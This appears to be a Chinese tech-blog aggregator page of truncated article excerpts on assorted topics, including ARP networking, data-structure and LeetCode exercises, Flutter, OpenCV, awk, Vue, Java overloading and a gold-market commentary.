環境 兩臺機器兩網卡同網段接入同一個二層交換機。 機器A ens38 00:0c:29:a4:8b:fb 10.0.0.11/24 ens39 00:0c:29:a4:8b:05 10.0.0.12/24 機器B ens38 00:0c:29:4f:a6:c4 10.0.0.21/24 ens39 00:0c:29:4f:a6:ce 10.0.0.22/24 初始ARP表 只有管理口接口的ARP表項&#xff0c…

浙江大學數據結構MOOC-課后習題-第十講-排序4 統計工齡

題目匯總 浙江大學數據結構MOOC-課后習題-拼題A-代碼分享-2024 題目描述 測試點 思路分析 這道題很明顯就是利用桶排序的思路 受到課程內容的影響,我一開始是想著建立一個鏈表數組,數組內每個元素下方都存放鏈表,最后再遍歷統計輸出。 但是&…

【華為OD機試-C卷D卷-200分】反射計數(C++/Java/Python)

【華為OD機試】-(A卷+B卷+C卷+D卷)-2024真題合集目錄 【華為OD機試】-(C卷+D卷)-2024最新真題目錄 題目描述 給定一個包含 0 和 1 的二維矩陣。 給定一個初始位置和速度,一個物體從給定的初始位置出發,在給定的速度下進行移動,遇到矩陣的邊緣則發生鏡面發射。 無論物體…

算法訓練營第四十二天 | LeetCode 42 不同路徑、LeetCode 63 不同路徑 II

LeetCode 62 不同路徑 這題首先確定下dp數組下標和含義。主要有兩種方式,一種是按照位置在數組中下標直接確定,另一種是依據遞推時邊上的位置需要再往上和往左遞推時會出界,將位置設為序號而非下標。這一題第二種方式會比較好一些。遞推邏輯也…

Android和flutter交互,maven庫的形式導入aar包

記錄遇到的問題,在網上找了很多資料,都是太泛泛了,使用后,還不能生效,缺少詳細的說明,或者關鍵代碼缺失,我遇到的問題用紅色的標注了 導入aar包有兩種模式 1.比較繁瑣的,手動將aar…

The Sandbox DAO:投票決定元宇宙的未來!

賦予用戶治理權,打造由社群運營的開放式數碼國度 隨著The Sandbox DAO的啟動,我們邀請全球社群——這個新數字國度的公民們——提出建議并參與治理,共同塑造開放元宇宙的未來。 介紹 在The Sandbox,我們正在建立一個開放的元宇宙…

聚酯輸送帶的原材料

揭秘聚酯輸送帶原材料:高效耐用背后的秘密武器 在現代化工業生產中,聚酯輸送帶以其出色的耐用性和穩定性,成為眾多行業不可或缺的傳輸工具。然而,你是否好奇,究竟是什么原材料賦予了聚酯輸送帶如此卓越的性能&#xf…

opencv c++編程基礎

1、圖片的本質 圖像在 OpenCV 中的本質 在 OpenCV 中,圖像被表示為一個多維數組,其中每個元素對應于圖像中的單個像素。圖像的維度取決于其通道數和像素數。 **通道數:**圖像可以有多個通道,每個通道存儲圖像的不同信息。例如&…

一維掃描線,有多少對相交線段

D - Intersecting Intervals 目錄 正向: 反向: 正向: 從左往右掃描,記錄當前邊數。 來了新邊,它此刻與當前邊數相交,加到總數中。邊結束,當前邊數中減去即可。 const int maxn 5e55; int …

Uniapp橫豎屏切換讓某一個頁面只能橫屏或者豎屏

先看官方屬性 plus.screen.lockOrientation(default); // 默認橫豎屏切換 plus.screen.lockOrientation(portrait-primary);// 豎屏展示 plus.screen.lockOrientation(landscape-primary); // 強制橫屏簡單需求:允許橫豎屏切換 在 page.json增加以下代碼 "gl…

李廉洋:5.22黃金原油高位震蕩,今日最新行情分析策略。

黃金消息面分析:根據4月份的通脹數據,加拿大央行6月5日降息應該是“理所當然的”。加拿大的整體通貨膨脹率在4月份降至2.7%,為自2021年初以來的最低水平,核心CPI中加拿大央行的兩項首選數據均降至3%以下。加拿大央行在決定降息之前…

鴻蒙學習第一課--認識目錄結構

項目結構介紹 module.json5 src > main > module.json5:Stage模型模塊配置文件。主要包含HAP包的配置信息、應用/服務在具體設備上的配置信息以及應用/服務的全局配置信息。具體的配置文件說明,詳見module.json5配置文件。 資源分類和訪問 關于s…

vue使用asiox 下載后端返回的excel數據流

一、前端代碼 <template><div class"hello"><h1>{{ msg }}</h1><button style"color: brown" click"exportExcel">excel導出</button></div> </template><script> import axios from &q…

awk編輯器

目錄 工作原理 命令格式 普通格式 BEGIN格式 語句循環格式 awk常見的內建變量&#xff08;可直接用&#xff09; 按行打印行內容 統計行數量 按字段輸出文本 通過管道、雙引號調用 Shell 命令 awk編輯器是一種流編輯器 工作原理 逐行讀取文本,默認以空格或tab鍵為分…

二叉樹,先序遍歷、中序遍歷、后序遍歷和層序遍歷實現 C++

二叉樹基類聲明 template<typename T>class Tree{protected:Tree() default;virtual ~Tree() default;virtual const Tree& root()const 0;virtual Tree& root() 0;virtual const Tree& left()const 0;virtual const Tree& right()const 0;virtua…

java第十八課 —— 重載、可變參數

方法重載 基本介紹 java 中允許同一個類中&#xff0c;多個同名方法的存在&#xff0c;但要求形參列表不一致&#xff01; 比如&#xff1a;System.out.println(); out 是 PrintStream 類型 重載的好處 減輕了起名的麻煩減輕了記名的麻煩 注意事項和使用細節 方法名&…